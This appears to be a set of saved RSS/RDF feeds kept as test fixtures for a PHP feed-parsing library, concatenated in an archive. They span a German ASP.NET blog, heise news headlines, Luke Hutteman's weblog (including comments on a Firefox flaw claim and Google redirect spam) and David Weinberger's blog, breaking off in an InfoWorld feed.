<a href="http://www.addison-wesley.de/" title="Addison-Wesley (Homepage)">Addison-Wesley</a>, in den Händen. Zusammen mit Karsten Samaschke, Jürgen Kotz, Andreas Kordwig und Christian Trennhaus haben Tobias und ich ca. 1184 Seiten rund um das Thema ASP.NET 3.5 zusammengetragen. Hier der Beschreibungstext des Verlags:<br /> <br /> <blockquote>Mit ASP.NET 3.5 ist Microsofts Technologie zur Programmierung dynamischer Webseiten noch leistungsfähiger geworden. Gegenüber ASP.NET 2.0 gibt es zahlreiche Verbesserungen, unter anderem die die integrierte Ajax-Unterstützung und verbesserte Datenbankfunktionalität mit LINQ.<br /> <br /> Die Autoren gehen auf alle wesentlichen Bestandteile von ASP.NET 3.5 ein und bieten ausführliche Beschreibungen zur Verarbeitung von Formulareingaben, zum Umgang mit Cookies und Dateien bis hin zum Zugriff auf Datenbanken und XML-Datenquellen sowie Web Services. Außerdem erfahren Sie alles zu den wichtigen Neuerungen wie ASP.NET Ajax, LINQ und der Entwicklungsumgebung Visual Studio 2008. Im Vordergrund stehen die konkreten Anforderungen des Webentwickler-Alltags. Unterhaltsam und anschaulich aufbereitet führt Sie dieses Buch auch zu fortgeschrittenen Themen wie der dynamischen Generierung von Grafiken, den Web Parts und der Performancesteigerung durch Caching. Ein eigenes Kapitel widmet sich der Erstellung von Rich Internet Applications (RIA) mit Silverlight.<br /> <br /> Aus dem Inhalt<br /> <br /> - .NET: Grundlagen, Architektur und Installation<br /> - HTML Controls, Web Controls und Web Parts<br /> - Masterseiten, Themes und Skins<br /> - Security: Benutzer- und Rollenverwaltung<br /> - ASP.NET AJAX und Silverlight<br /> - LINQ und Datenbankzugriff mit ADO.NET<br /> - XML und Web Services<br /> - Lokalisierung und Inhalte für mobile Endgeräte<br /> - Debugging<br /> - Caching<br /> - Web-Hacking (und Gegenmittel)<br /> - Spracheinführung in Visual Basic 2008<br /> <br /> Auf DVD:<br /> Alle Listings und Beispiele aus dem Buch, .NET Framework 3.5 plus Editor Visual Web Developer 2008 Express Edition von Microsoft.<br /> </blockquote><br /> <br /> Ich kan mich zwar immer noch nicht an das "Visual Basic 2008" gewöhnen (korrekter wäre "Visual Basic 9", aber anscheinend haben sich alle Verlage heimlich abgesprochen, auf das besser zuordenbare 2008 zu setzen), aber ansonsten freue ich mich sehr über die neue Auflage -- das Buch ist aus unseren ASP.NET Kompendien hervorgegangen. <br /> <br /> Ich bin noch bis Freitag auf der BASTA, vielleicht sehen wir uns ja?<br /> Thu, 28 Feb 2008 10:18:00 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/263-guid.html Pimpin' the Market Share http://www.hauser-wenz.de/s9y/index.php?/archives/262-Pimpin-the-Market-Share.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/262-Pimpin-the-Market-Share.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=262 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=262 nospam@example.com (Christian) Seems that <a href="http://www.silverlight.net/" title="Silverlight homepage">Silverlight</a> got its own category on <a href="http://update.microsoft.com/" title="Microsoft Update">Microsoft Update</a>. Currently, the Silverlight runtime is listed as an optional update. Interesting ...<br /> <br /> <div class="serendipity_imageComment_center" style="width: 110px"><div class="serendipity_imageComment_img"><!-- s9ymdb:51 --><img width="110" height="69" src="http://www.hauser-wenz.de/s9y/uploads/silverlight-marketshare.serendipityThumb.png" alt="" /></div><div class="serendipity_imageComment_txt">click for a larger image</div></div> Mon, 18 Feb 2008 09:41:13 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/262-guid.html Visual Studio 2008 auf Deutsch (inklusive Express Editions) http://www.hauser-wenz.de/s9y/index.php?/archives/261-Visual-Studio-2008-auf-Deutsch-inklusive-Express-Editions.html ASP.NET (deutsch) http://www.hauser-wenz.de/s9y/index.php?/archives/261-Visual-Studio-2008-auf-Deutsch-inklusive-Express-Editions.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=261 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=261 nospam@example.com (Christian) Wer ein <a href="http://www.microsoft.com/subscriptions/" title="MSDN-Website (Abonnement)">MSDN-Abonnement</a> hat, weiß es sicher schon: Visual Studio 2008 Team System ist seit dem Wochenende auch auf Deutsch verfügbar, die anderen Editionen folgen sukzessive. Seit heute Mittag gibt es auch die Express Editions (inklusive dem Visual Web Developer), und wie mich <a href="http://blogs.msdn.com/uweinside/" title="Uwe Baumann (Blog)">Uwe Baumann</a> gerade informiert hat, sind die <a href="http://www.microsoft.com/germany/express" title="Express Editions auf der deutschen Microsoft-Site">deutschen Microsoft-Seiten</a> bereits aktualisiert. Viel Spaß bei der Installation <img src="http://www.hauser-wenz.de/s9y/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Tue, 29 Jan 2008 14:47:15 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/261-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.heise.de-newsticker-heise.rdf0000664000175000017500000003115412653701626027246 0ustar janjan heise online News http://www.heise.de/newsticker/ Nachrichten nicht nur aus der Welt der Computer Wissenschaftlich auswerten: HypraData analysiert Messdaten http://www.heise.de/newsticker/Wissenschaftlich-auswerten-HypraData-analysiert-Messdaten--/meldung/116285/from/rss09 Immer waagerecht: Ricoh R10 http://www.heise.de/newsticker/Immer-waagerecht-Ricoh-R10--/meldung/116286/from/rss09 Arcandor: E-Commerce statt Technik-Center http://www.heise.de/newsticker/Arcandor-E-Commerce-statt-Technik-Center--/meldung/116287/from/rss09 Computer-Go: Die Revanche des Profis http://www.heise.de/newsticker/Computer-Go-Die-Revanche-des-Profis--/meldung/116284/from/rss09 Greenpeace veröffentlicht neue Rangliste für Grüne Elektronik http://www.heise.de/newsticker/Greenpeace-veroeffentlicht-neue-Rangliste-fuer-Gruene-Elektronik--/meldung/116283/from/rss09 Bitkom: Deutsche kaufen 2008 knapp neun Millionen Digitalkameras http://www.heise.de/newsticker/Bitkom-Deutsche-kaufen-2008-knapp-neun-Millionen-Digitalkameras--/meldung/116282/from/rss09 Demo gegen Überwachungswahn in Bayern http://www.heise.de/newsticker/Demo-gegen-Ueberwachungswahn-in-Bayern--/meldung/116281/from/rss09 Apple ruft iPhone-Netzteile zurück http://www.heise.de/newsticker/Apple-ruft-iPhone-Netzteile-zurueck--/meldung/116280/from/rss09 Studie untersucht Auswirkung von Gewaltspielen auf das Gehirn http://www.heise.de/newsticker/Studie-untersucht-Auswirkung-von-Gewaltspielen-auf-das-Gehirn--/meldung/116279/from/rss09 Was war. Was wird. http://www.heise.de/newsticker/Was-war-Was-wird--/meldung/116272/from/rss09 Bundesrat fordert mehr Datenschutz beim elektronischen Einkommensnachweis http://www.heise.de/newsticker/Bundesrat-fordert-mehr-Datenschutz-beim-elektronischen-Einkommensnachweis--/meldung/116268/from/rss09 Wieder steigende Tendenz beim großen Lauschangriff http://www.heise.de/newsticker/Wieder-steigende-Tendenz-beim-grossen-Lauschangriff--/meldung/116271/from/rss09 Apples Kinofilm-Vermarktung für Deutschland in den Startlöchern http://www.heise.de/newsticker/Apples-Kinofilm-Vermarktung-fuer-Deutschland-in-den-Startloechern--/meldung/116270/from/rss09 Teilchenbeschleuniger vermutlich für Monate ausgebremst http://www.heise.de/newsticker/Teilchenbeschleuniger-vermutlich-fuer-Monate-ausgebremst--/meldung/116267/from/rss09 Jeder fünfte Nutzer in Niedersachsen ohne schnellen Internet-Zugang http://www.heise.de/newsticker/Jeder-fuenfte-Nutzer-in-Niedersachsen-ohne-schnellen-Internet-Zugang--/meldung/116265/from/rss09 Kaspersky-Update zerlegte Vista 64 http://www.heise.de/newsticker/Kaspersky-Update-zerlegte-Vista-64--/meldung/116264/from/rss09 EDVIRSP: Unaussprechliche Datenbank mit eingeschränktem Recht auf Vergessen http://www.heise.de/newsticker/EDVIRSP-Unaussprechliche-Datenbank-mit-eingeschraenktem-Recht-auf-Vergessen--/meldung/116263/from/rss09 Gesundheitskarte: Erstes Terminal zugelassen, Rollout gestoppt http://www.heise.de/newsticker/Gesundheitskarte-Erstes-Terminal-zugelassen-Rollout-gestoppt--/meldung/116262/from/rss09 Websites erklären Kindern Politik http://www.heise.de/newsticker/Websites-erklaeren-Kindern-Politik--/meldung/116260/from/rss09 Zeitung: Fujitsu Siemens soll zerschlagen werden http://www.heise.de/newsticker/Zeitung-Fujitsu-Siemens-soll-zerschlagen-werden--/meldung/116261/from/rss09 Preisverfall bei Kameras drückt die Rendite http://www.heise.de/newsticker/Preisverfall-bei-Kameras-drueckt-die-Rendite--/meldung/116259/from/rss09 Sarah Palin: Der Mail-Hack, der keiner war http://www.heise.de/newsticker/Sarah-Palin-Der-Mail-Hack-der-keiner-war--/meldung/116255/from/rss09 Auslands-SMS ab Sommer 2009 nur noch 11 Cent http://www.heise.de/newsticker/Auslands-SMS-ab-Sommer-2009-nur-noch-11-Cent--/meldung/116257/from/rss09 Bundesländer wünschen härteres Vorgehen gegen unerwünschte Telefonwerbung http://www.heise.de/newsticker/Bundeslaender-wuenschen-haerteres-Vorgehen-gegen-unerwuenschte-Telefonwerbung--/meldung/116256/from/rss09 Hessens Polizei hörte 83mal mit http://www.heise.de/newsticker/Hessens-Polizei-hoerte-83mal-mit--/meldung/116258/from/rss09 Türkisches Gericht blockiert Zugang zur Webseite von Richard Dawkins http://www.heise.de/newsticker/Tuerkisches-Gericht-blockiert-Zugang-zur-Webseite-von-Richard-Dawkins--/meldung/116254/from/rss09 Bundesrat für mehr Datenschutz in der Wirtschaft http://www.heise.de/newsticker/Bundesrat-fuer-mehr-Datenschutz-in-der-Wirtschaft--/meldung/116250/from/rss09 Erste Dual-Core-Atoms aufgetaucht http://www.heise.de/newsticker/Erste-Dual-Core-Atoms-aufgetaucht--/meldung/116245/from/rss09 EU-Kommission will Preise für SMS im Ausland senken http://www.heise.de/newsticker/EU-Kommission-will-Preise-fuer-SMS-im-Ausland-senken--/meldung/116249/from/rss09 Wohnzimmer-PC mit Blu-ray-Disc-Laufwerk und 25,5-Zoll-Touchscreen http://www.heise.de/newsticker/Wohnzimmer-PC-mit-Blu-ray-Disc-Laufwerk-und-25-5-Zoll-Touchscreen--/meldung/116243/from/rss09 Orange kommt nach Österreich http://www.heise.de/newsticker/Orange-kommt-nach-Oesterreich--/meldung/116247/from/rss09 Abofallen-Betreiber werden dreister http://www.heise.de/newsticker/Abofallen-Betreiber-werden-dreister--/meldung/116244/from/rss09 EU gibt US-Investor grünes Licht für Einstieg bei Siemens-Tochter SEN http://www.heise.de/newsticker/EU-gibt-US-Investor-gruenes-Licht-fuer-Einstieg-bei-Siemens-Tochter-SEN--/meldung/116239/from/rss09 Sicherheitsupdate für VMware ESX http://www.heise.de/newsticker/Sicherheitsupdate-fuer-VMware-ESX--/meldung/116238/from/rss09 Bundesrat: Polizei soll erweiterten Zugriff auf E-Ausweis-Daten erhalten http://www.heise.de/newsticker/Bundesrat-Polizei-soll-erweiterten-Zugriff-auf-E-Ausweis-Daten-erhalten--/meldung/116237/from/rss09 US-Musikindustrie geht gegen Filesharing-Anwalt vor http://www.heise.de/newsticker/US-Musikindustrie-geht-gegen-Filesharing-Anwalt-vor--/meldung/116234/from/rss09 Staatsanwaltschaft ermittelt im Fall des Ypsilanti-Telefonstreiches http://www.heise.de/newsticker/Staatsanwaltschaft-ermittelt-im-Fall-des-Ypsilanti-Telefonstreiches--/meldung/116235/from/rss09 Unsichere Updates via InstallShield Update Agent http://www.heise.de/newsticker/Unsichere-Updates-via-InstallShield-Update-Agent--/meldung/116233/from/rss09 Französischer Entwurf für Geheimdienstdatenbank Edvige modifiziert http://www.heise.de/newsticker/Franzoesischer-Entwurf-fuer-Geheimdienstdatenbank-Edvige-modifiziert--/meldung/116212/from/rss09 Österreichische E-Voting-Ausschreibung gescheitert http://www.heise.de/newsticker/Oesterreichische-E-Voting-Ausschreibung-gescheitert--/meldung/116231/from/rss09 Telekom eröffnet den Interconnection-Poker http://www.heise.de/newsticker/Telekom-eroeffnet-den-Interconnection-Poker--/meldung/116219/from/rss09 Bürgerrechtler verklagen US-Handelsvertretung wegen Anti-Piraterieabkommen http://www.heise.de/newsticker/Buergerrechtler-verklagen-US-Handelsvertretung-wegen-Anti-Piraterieabkommen--/meldung/116218/from/rss09 Vertriebleranruf nach Homepage-Besuch http://www.heise.de/newsticker/Vertriebleranruf-nach-Homepage-Besuch--/meldung/116209/from/rss09 Honorare der IT-Freiberufler steigen http://www.heise.de/newsticker/Honorare-der-IT-Freiberufler-steigen--/meldung/116208/from/rss09 Bundesrat: Schärfere Bestimmungen gegen Computerkriminalität und Kinderpornographie http://www.heise.de/newsticker/Bundesrat-Schaerfere-Bestimmungen-gegen-Computerkriminalitaet-und-Kinderpornographie--/meldung/116217/from/rss09 Netbooks mit UMTS ab 1 Euro [Update] http://www.heise.de/newsticker/Netbooks-mit-UMTS-ab-1-Euro-Update--/meldung/116210/from/rss09 Erstes Android-Handy wird am Dienstag in den USA vorgestellt http://www.heise.de/newsticker/Erstes-Android-Handy-wird-am-Dienstag-in-den-USA-vorgestellt--/meldung/116211/from/rss09 Atlantiküberquerung für Segel-Roboter erst 2009 http://www.heise.de/newsticker/Atlantikueberquerung-fuer-Segel-Roboter-erst-2009--/meldung/116206/from/rss09 Trustcenter stellen Signatur-API vor http://www.heise.de/newsticker/Trustcenter-stellen-Signatur-API-vor--/meldung/116202/from/rss09 Blu-ray-Weltpremiere: Audiokommentare werden per Internet nachgeliefert http://www.heise.de/newsticker/Blu-ray-Weltpremiere-Audiokommentare-werden-per-Internet-nachgeliefert--/meldung/116203/from/rss09 Nvidia baut 6,5 Prozent seiner Arbeitsplätze ab http://www.heise.de/newsticker/Nvidia-baut-6-5-Prozent-seiner-Arbeitsplaetze-ab--/meldung/116204/from/rss09 eXpurgate 3.0 filtert 1000 E-Mails pro Sekunde http://www.heise.de/newsticker/eXpurgate-3-0-filtert-1000-E-Mails-pro-Sekunde--/meldung/116193/from/rss09 Bakterien als lebende Sensoren nur im Labor erlaubt http://www.heise.de/newsticker/Bakterien-als-lebende-Sensoren-nur-im-Labor-erlaubt--/meldung/116191/from/rss09 Toshiba senkt Ertragsprognose http://www.heise.de/newsticker/Toshiba-senkt-Ertragsprognose--/meldung/116195/from/rss09 Oracles Gewinn übertrifft die Erwartungen http://www.heise.de/newsticker/Oracles-Gewinn-uebertrifft-die-Erwartungen--/meldung/116192/from/rss09 Palm immer tiefer im Minus http://www.heise.de/newsticker/Palm-immer-tiefer-im-Minus--/meldung/116190/from/rss09 c't magazin.tv: HiFi-Anlagen mit Netzwerkfunktion http://www.heise.de/newsticker/c-t-magazin-tv-HiFi-Anlagen-mit-Netzwerkfunktion--/meldung/116174/from/rss09 Nachgelegt: neue Treiberversionen für Windows http://www.heise.de/newsticker/Nachgelegt-neue-Treiberversionen-fuer-Windows--/meldung/116188/from/rss09 Gericht: Telekom-Beamte müssen "amtsangemessen" beschäftigt werden http://www.heise.de/newsticker/Gericht-Telekom-Beamte-muessen-amtsangemessen-beschaeftigt-werden--/meldung/116187/from/rss09 Anmeldeprobleme mit Firefox und NoScript [Update] http://www.heise.de/newsticker/Anmeldeprobleme-mit-Firefox-und-NoScript-Update--/meldung/116185/from/rss09 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.hutteman.com-weblog-rss.xml0000664000175000017500000003233112653701626027022 0ustar janjan Luke Hutteman's public virtual MemoryStream http://www.hutteman.com/weblog/ Luke Hutteman on Java, .NET, J2EE, RSS and whatever else comes to mind... en-us Copyright 2008 2006-10-02T21:21:07-05:00 hourly 1 2000-01-01T12:00+00:00 public virtual MemoryStream http://www.hutteman.com/pvm.png http://www.hutteman.com/weblog/ 88 31 Luke Hutteman on Java, .NET, J2EE, RSS and whatever else comes to mind... Firefox vulnerability http://www.hutteman.com/weblog/2006/10/02-251.html A few weeks ago, Microsoft had its VML zero day exploit; this week, it's Firefox's turn. Obviously, as more people are switching from Internet Explorer to Firefox, hackers are doing the same. The thing that struck me about this particular problem was that the hackers gave no advance warning to Mozilla prior to their presentation, and The hackers claim they... (224 words) 251@http://www.hutteman.com/weblog/ A few weeks ago, Microsoft had its VML zero day exploit; this week, it's Firefox's turn.

    Obviously, as more people are switching from Internet Explorer to Firefox, hackers are doing the same.

    The thing that struck me about this particular problem was that the hackers gave no advance warning to Mozilla prior to their presentation, and

    The hackers claim they know of about 30 unpatched Firefox flaws. They don't plan to disclose them, instead holding onto the bugs.
    why are they holding on to them? one of the hackers explains:
    what we're doing is really for the greater good of the Internet. We're setting up communication networks for black hats
    for the greater good of the Internet? yeah right.

    The scary thing is though that one of the hackers works for Six Apart, the company behind popular blogging software like Movable Type, Live Journal and Typepad.

    Six Apart needs to do some major damage control, fire this guy immediately and review all code he may have had access to. It doesn't exactly ease my mind to know my weblog is running on code this guy may have had access to. Maybe it's time to move to WordPress...

    UPDATE: it looks like this may have just been a hoax. Still not exactly good publicity for six apart though...

    ]]>     Miscellaneous 2006-10-02T21:21:07-05:00 4 http://www.hutteman.com/weblog/2006/10/02-251.html#comments     SharpReader 0.9.7.0 http://www.hutteman.com/weblog/2006/08/02-250.html SharpReader 0.9.7.0 is now available at sharpreader.net. Changes since the last version are: Run internal browser in restricted security zone in order to make IE responsible for blocking restricted content, instead of just doing so by parsing and stripping tags. Allow embedded CSS styles in item descriptions (was previously disabled because of javascript exploits that are now caught because of... (128 words) 250@http://www.hutteman.com/weblog/ SharpReader 0.9.7.0 is now available at sharpreader.net.

    Changes since the last version are:

    • Run internal browser in restricted security zone in order to make IE responsible for blocking restricted content, instead of just doing so by parsing and stripping tags.
    • Allow embedded CSS styles in item descriptions (was previously disabled because of javascript exploits that are now caught because of the security zone).
    • Support both <commentRSS> as well as <commentRss> as there was some confusion as to the proper capitalization of this element.
    • Fixed linebreak handling for some feeds.
    • Improved handling of relative urls in atom feeds (like Sam Ruby's feed for instance).
    • Now displaying enclosure links at the bottom of the item description.
    • Fixed installer to no longer complain if only .NET 2.0 is installed.
    ]]>     RSS SharpReader 2006-08-02T23:50:31-05:00 59 http://www.hutteman.com/weblog/2006/08/02-250.html#comments     Spammers using Google links http://www.hutteman.com/weblog/2006/05/05-249.html In my "Spam Suspects" email folder today, I noticed some spam which used Google as a redirection service, by linking to http://www.google.com/url?q=http://www.somespamsite.com. When trying this technique with some other site, I found that google responds to this query with a 302 redirect to the site in question. Clearly, the spammer was using this system to lure people who trust Google... (176 words) 249@http://www.hutteman.com/weblog/ In my "Spam Suspects" email folder today, I noticed some spam which used Google as a redirection service, by linking to http://www.google.com/url?q=http://www.somespamsite.com. When trying this technique with some other site, I found that google responds to this query with a 302 redirect to the site in question. Clearly, the spammer was using this system to lure people who trust Google into visiting their site.

    What I don't understand is why Google needs a public redirect system like this that is so obviously open to abuse. The google.com/url?q=... page doesn't seem to accept anything but already fully specified urls, so the sole purpose of this page is to do redirects.

    The only reason I can think of for them needing a service like this is if they serve up one in a thousand search-results pages with redirect links, in order to log what people actually click on. If this were the case though, why not at least check the referrer to see if the user actually came from a google.com page? Am I missing something here?

    ]]>     Miscellaneous 2006-05-05T21:13:41-05:00 16 http://www.hutteman.com/weblog/2006/05/05-249.html#comments     Support the fight against diabetes http://www.hutteman.com/weblog/2006/03/26-248.html Scott Hanselman and his wife will be joining the walk for diabetes on May 6 2006. They've set a goal of raising $10,000 for this event and could use your help in reaching that goal. I encourage all of you to go to Scott's blog to find out more about this worthy cause, or go directly to diabetes.org to make... (64 words) 248@http://www.hutteman.com/weblog/ Scott Hanselman and his wife will be joining the walk for diabetes on May 6 2006. They've set a goal of raising $10,000 for this event and could use your help in reaching that goal. I encourage all of you to go to Scott's blog to find out more about this worthy cause, or go directly to diabetes.org to make your donation. Thank you.

    ]]>     Miscellaneous 2006-03-26T23:41:36-05:00 1 http://www.hutteman.com/weblog/2006/03/26-248.html#comments     Digg manipulation http://www.hutteman.com/weblog/2006/03/17-247.html Silicon Valley Sleuth reported this morning how several stories about Google buying Sun suspiciously made it to the front page of Digg.com. These "baseless rumours" were all submitted and promoted by a small group of Digg members that seemed to be working together. I found this story through Digg itself, where it was posted on the front page. It later... (381 words) 247@http://www.hutteman.com/weblog/ Silicon Valley Sleuth reported this morning how several stories about Google buying Sun suspiciously made it to the front page of Digg.com. These "baseless rumours" were all submitted and promoted by a small group of Digg members that seemed to be working together.

    I found this story through Digg itself, where it was posted on the front page. It later mysteriously disappeared from Digg though, and a URL search indicated that the story was since marked as "buried".

    The Digg Blog says the following about this burying feature:

    Digg now allows logged in users to bury stories as 'inaccurate'. Once enough people bury the story, it is removed from the queue and the following banner is displayed at the top:



    No banner is displayed though, which makes me wonder if it was buried because enough people marked it as inaccurate (the same people who were promoting these Google+Sun stories maybe?) or whether an admin removed it in an effort to hide how easily Digg can be manipulated. There's currently an update on Silicon Valley Sleuth stating that it seems unlikely the Digg system was actually manipulated in this case, but this update wasn't there when the story was buried, and also doesn't make the theoretical possibility of this happening any less likely.

    Due to the automated nature of Digg (which uses user-votes to determine how prominently to display a story) it certainly seems possible for a group of people to get together and promote stories in order to get them onto the coveted front page, while at the same time burying stories they don't like. Worse than that, what would stop someone from automating this process and creating a couple hundred accounts for this purpose? To reduce suspicion, these accounts could digg random stories from time to time, or even undigg stories once they've made it to the front page.

    If this is not going on already, I predict it will soon. Compared to the trouble BlogSpammers are going through in order to game sites like Google, DayPop or Blogdex, gaming Digg seems relatively easy. While Digg claims to have ways to prevent manipulation, one can't help but wonder whether it's enough, and I'm sure there are plenty of spammers out there just dying to beat the system...

    ]]>     Blogging 2006-03-17T22:28:21-05:00 6 http://www.hutteman.com/weblog/2006/03/17-247.html#comments     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.hyperorg.com-blogger-index.rdf0000664000175000017500000004266712653701626027466 0ustar janjan Joho the Blog http://www.hyperorg.com/blogger Let's just see what happens 2008-07-22T13:24:05Z hourly 1 2000-01-01T12:00+00:00 Editing audio by editing text http://www.hyperorg.com/blogger/2008/07/22/editing-audio-by-editing-text/ 2008-07-22T13:24:05Z davidw Jon Udell talks about his interview of Dan Bricklin in which about Dan talks about his experience entering the world of audio. Jon says:When I embarked on my personal audio adventure a few years ago, I naively thought that our fancy new digital technologies would make the whole process very ... Jon Udell talks about his interview of Dan Bricklin in which about Dan talks about his experience entering the world of audio. Jon says:

    When I embarked on my personal audio adventure a few years ago, I naively thought that our fancy new digital technologies would make the whole process very simple. Boy, was I wrong about that.

    As a coda, Jon uses the story of the production of of that very interview as an example of the routine complexities of audio.

    Too true. I’m often tempted to record an interview but then I remember just what a pain in the butt it would be to edit it, even with my very low standards for audio quality.

    So, is there something wrong with the idea of writing software that:

    1. Converts spoken audio into text (presumably using existing tools)

    2. Lets you use an editor to delete pieces of the text and move other pieces around, as you would with a low-end word processor

    3. Uses the edited text to edit and output the audio

    Even if Step 1 worked only moderately well, this application would turn editing spoken audio into a trivial task, no harder than (in fact, exactly the same as) editing a text file.

    Does this software exist? Is there a good reason why it doesn’t, shouldn’t or couldn’t?

    [Tags: ]

    ]]>         Turning to the bloggers http://www.hyperorg.com/blogger/2008/07/21/turning-to-the-bloggers/ 2008-07-21T13:00:34Z davidw When I read something like today's news that only 10% of American newspaper editors consider foreign news to be "very essential" to their coverage, I instinctively turn to the bloggers who I know will have something enlightening, thoughtful and sometimes profound to say. And that by itself says a lot ... When I read something like today’s news that only 10% of American newspaper editors consider foreign news to be “very essential” to their coverage, I instinctively turn to the bloggers who I know will have something enlightening, thoughtful and sometimes profound to say. And that by itself says a lot about how news is changing.

    Of course, I did read that particular news in a newspaper, although I was referred there by a blog aggregator. So, I’m not saying that professional news media are unnecessary or add nothing. Not at all. But the news ecology in just a few years has become 100% mixed.

    Tags:

    ]]>         Mygazines, because Magster.com was taken? http://www.hyperorg.com/blogger/2008/07/20/mygazines-because-magstercom-was-taken/ 2008-07-20T14:54:07Z davidw Mygazines.com is an interesting idea. Currently in beta, it's designed to let anyone upload any magazine or magazine article, and then share the content, using the familiar elements of content-based social networking sites (or, more accurately, the social networking elements of content-based sites). The site unfortunately has little information about ... Mygazines.com is an interesting idea. Currently in beta, it’s designed to let anyone upload any magazine or magazine article, and then share the content, using the familiar elements of content-based social networking sites (or, more accurately, the social networking elements of content-based sites).

    The site unfortunately has little information about itself, so I don’t know what they think they’re going to do about the obvious copyright issues. The existing content includes the magazines’ ads, so maybe the site hopes publishers will see some benefit in being scanned ‘n’ read. (As an example, here’s a link to the complete contents of the current issue of The New Yorker.)

    While the tool for reading is pretty slick, the process of posting to enable said slickness seems pretty onerous.

    I’m interested to see what becomes of it… [Tags: ]

    ]]>         Daily (Intermittent) Open-Ended Puzzle (DOEP): The triple negation of butter http://www.hyperorg.com/blogger/2008/07/19/daily-intermittent-open-ended-puzzel-doep-the-triple-negation-of-butter/ 2008-07-19T10:03:32Z davidw We often buy "I Can't Believe It's Not Butter" despite its awful name and soul-withering chemical composition. Even the product's faux-entertaining site refers to it as a "nutritious blend of oils." Mmm. But, I like it, so shut up. In fact, we just bought the "light" version of it, which ... We often buy “I Can’t Believe It’s Not Butter” despite its awful name and soul-withering chemical composition. Even the product’s faux-entertaining site refers to it as a “nutritious blend of oils.” Mmm. But, I like it, so shut up.

    In fact, we just bought the “light” version of it, which is therefore some sort of simulacrum of the original. I can’t figure out whether its name should therefore be:

    1. “I Can’t Believe I Can’t Believe It’s Not Butter”

    2. “I Can’t Believe It’s Not Not Butter”

    or

    3. _______________________ (fill in the blank)

    [Tags: ]

    ]]>         Not watching The Daily Show nearly as much http://www.hyperorg.com/blogger/2008/07/18/not-watching-the-daily-show-nearly-as-much/ 2008-07-18T21:02:04Z davidw I find I'm not watching The Daily Show nearly as much as I used to, I think because Bush has dropped out of the scene so much that I don't need the emotional release Jon Stewart was providing for me.I bet I wouldn't be as fanatically devoted to The West ... I find I’m not watching The Daily Show nearly as much as I used to, I think because Bush has dropped out of the scene so much that I don’t need the emotional release Jon Stewart was providing for me.

    I bet I wouldn’t be as fanatically devoted to The West Wing now if it were still on.

    The Bush Departure: Taking the comedy, leaving the tragedy.

    [Tags: ]

    ]]>         But enough about me. Now lets talk about bunnies, pancakes, and their intersection. http://www.hyperorg.com/blogger/2008/07/18/but-enough-about-me-now-lets-talk-about-bunnies-pancakes-and-their-intersection/ 2008-07-18T19:43:37Z davidw This was passed along by Jacob Kramer-Duffield, a summer intern at the Berkman Center, for no reason other than that its a summer Friday.Tags: bunnies pancakes This was passed along by Jacob Kramer-Duffield, a summer intern at the Berkman Center, for no reason other than that its a summer Friday.

    Tags:

    ]]>         David Reed goes to Congress http://www.hyperorg.com/blogger/2008/07/18/david-reed-goes-to-congress/ 2008-07-18T09:11:04Z davidw Here are David "End to End" Reed's comments to Congress on Net neutrality. They were apparently well-received.

    Here are David “End to End” Reed’s comments to Congress on Net neutrality. They were apparently well-received.

    ]]>         Marco Montemagno’s project http://www.hyperorg.com/blogger/2008/07/17/marco-montenegros-project/ 2008-07-17T16:49:24Z davidw I am an admirer of Marco's. His new project is trying to explain what's important and real about the Internet. Its page is here,. It's in Italian, but I am confident in recommending it without having read it. (I'm still on the road, and only have 3 minutes left on ... I am an admirer of Marco’s. His new project is trying to explain what’s important and real about the Internet. Its page is here,. It’s in Italian, but I am confident in recommending it without having read it. (I’m still on the road, and only have 3 minutes left on the free hotel wifi before its 15 mins are up.)

    ]]>         Mobile social networking http://www.hyperorg.com/blogger/2008/07/16/mobile-social-networking/ 2008-07-16T14:59:59Z davidw Spending an interesting day in Milan in conversation about whether Web-based social networking sites/services are going to continue to shape our expections about SNSes (and sociality), or whether the ubiquity of mobiles will wag this dog. The social roles of SNS on the two platforms are so different. One ...

    Spending an interesting day in Milan in conversation about whether Web-based social networking sites/services are going to continue to shape our expections about SNSes (and sociality), or whether the ubiquity of mobiles will wag this dog. The social roles of SNS on the two platforms are so different. One creates my presence, the other announces my temporality.

    (Hint: Don’t try blogging on ytour blackberry on a bus.)

    ]]>         I am apparently running for president http://www.hyperorg.com/blogger/2008/07/15/i-am-apparently-running-for-president/ 2008-07-15T14:53:18Z davidw Not only that, I am famous for being unknown. This video is just weird, and pretty funny, although being the butt of the joke undoubtedly affects my judgment. That is, being skewered skews... Apparently, I've been punked ut good.. Good one!

    Not only that, I am famous for being unknown.

    This video is just weird, and pretty funny, although being the butt of the joke undoubtedly affects my judgment. That is, being skewered skews…

    Apparently, I’ve been punked ut good.. Good one!

    ]]>         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.infoworld.com-rss-news.rdf0000664000175000017500000027542212653701626026662 0ustar janjan InfoWorld RSS Feed http://www.infoworld.com InfoWorld - Information Technology News, Computer Networking & Security InfoWorld: Get Technology Right http://ad.doubleclick.net/ad/idg.us.info.rss/logo;pos=rssfeed_infologo;sz=214x54;ord=? http://ad.doubleclick.net/jump/idg.us.info.rss/logo;pos=rssfeed_infologo;sz=214x54;ord=? Apple pushes MobileMe surprise to XP, Vista http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/Apple_pushes_MobileMe_surprise_to_XP_Vista_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">Apple installed a control panel applet for its <a target="_blank" href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Apple+MobileMe">MobileMe</a> online sync and storage service on <a target="_blank" href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Microsoft+Windows+XP">Windows XP</a> and <a target="_blank" href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Microsoft+Windows+Vista">Windows Vista</a> systems when they were updated to <a 